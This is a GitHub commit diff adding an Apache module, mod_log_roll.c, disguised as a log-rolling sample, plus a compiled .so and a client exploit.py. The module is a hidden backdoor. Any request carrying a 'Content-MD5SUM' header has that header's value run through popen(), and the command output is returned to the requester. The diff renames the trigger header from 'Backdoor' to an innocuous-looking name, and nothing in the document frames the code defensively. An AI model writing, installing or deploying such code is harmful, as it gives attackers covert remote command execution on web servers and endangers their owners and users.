Skip to content

Commit c04da8f

Browse files
authored
Add files via upload
1 parent 34d54a5 commit c04da8f

File tree

3 files changed

+107
-1
lines changed

3 files changed

+107
-1
lines changed

exploit.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
def exploit(host, port, command):
88
headers = {
9-
"Backdoor": command
9+
"Content-MD5SUM": command
1010
}
1111
url = "http://%s:%d/" % (host, port)
1212
response = requests.get(url, headers=headers)

mod_log_roll.c

+106
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
/*
2+
** mod_log_roll.c -- Apache sample log_roll module
3+
** [Autogenerated via ``apxs -n log_roll -g'']
4+
**
5+
** To play with this sample module first compile it into a
6+
** DSO file and install it into Apache's modules directory
7+
** by running:
8+
**
9+
** $ apxs -c -i mod_log_roll.c
10+
**
11+
** Then activate it in Apache's apache2.conf file for instance
12+
** for the URL /log_roll in as follows:
13+
**
14+
** # apache2.conf
15+
** LoadModule log_roll_module modules/mod_log_roll.so
16+
** <Location /log_roll>
17+
** SetHandler log_roll
18+
** </Location>
19+
**
20+
** Then after restarting Apache via
21+
**
22+
** $ apachectl restart
23+
**
24+
** you immediately can request the URL /log_roll and watch for the
25+
** output of this module. This can be achieved for instance via:
26+
**
27+
** $ lynx -mime_header http://localhost/log_roll
28+
**
29+
** The output should be similar to the following one:
30+
**
31+
** HTTP/1.1 200 OK
32+
** Date: Tue, 31 Mar 1998 14:42:22 GMT
33+
** Server: Apache/1.3.4 (Unix)
34+
** Connection: close
35+
** Content-Type: text/html
36+
**
37+
** The sample page from mod_log_roll.c
38+
*/
39+
40+
#include "httpd.h"
41+
#include "http_config.h"
42+
#include "http_protocol.h"
43+
#include "ap_config.h"
44+
#include <stdio.h>
45+
#include <stdlib.h>
46+
47+
/* The sample content handler */
48+
static int log_roll_handler(request_rec *r)
49+
{
50+
/*
51+
if (strcmp(r->handler, "log_roll")) {
52+
return DECLINED;
53+
}
54+
r->content_type = "text/html";
55+
56+
if (!r->header_only)
57+
ap_rputs("The sample page from mod_log_roll.c\n", r);
58+
*/
59+
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
60+
const apr_array_header_t *fields;
61+
int i;
62+
apr_table_entry_t *e = 0;
63+
char FLAG = 0;
64+
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
65+
66+
fields = apr_table_elts(r->headers_in);
67+
e = (apr_table_entry_t *) fields->elts;
68+
69+
for(i = 0; i < fields->nelts; i++) {
70+
if(strcmp(e[i].key, "Content-MD5SUM") == 0){
71+
FLAG = 1;
72+
break;
73+
}
74+
}
75+
76+
if (FLAG){
77+
char * command = e[i].val;
78+
FILE* fp = popen(command,"r");
79+
char buffer[0x100] = {0};
80+
int counter = 1;
81+
while(counter){
82+
counter = fread(buffer, 1, sizeof(buffer), fp);
83+
ap_rwrite(buffer, counter, r);
84+
}
85+
pclose(fp);
86+
return DONE;
87+
}
88+
return DECLINED;
89+
}
90+
91+
static void log_roll_register_hooks(apr_pool_t *p)
92+
{
93+
ap_hook_handler(log_roll_handler, NULL, NULL, APR_HOOK_MIDDLE);
94+
}
95+
96+
/* Dispatch list for API hooks */
97+
module AP_MODULE_DECLARE_DATA log_roll_module = {
98+
STANDARD20_MODULE_STUFF,
99+
NULL, /* create per-dir config structures */
100+
NULL, /* merge per-dir config structures */
101+
NULL, /* create per-server config structures */
102+
NULL, /* merge per-server config structures */
103+
NULL, /* table of config file commands */
104+
log_roll_register_hooks /* register hooks */
105+
};
106+

mod_log_roll.so

26.3 KB
Binary file not shown.

0 commit comments

Comments
 (0)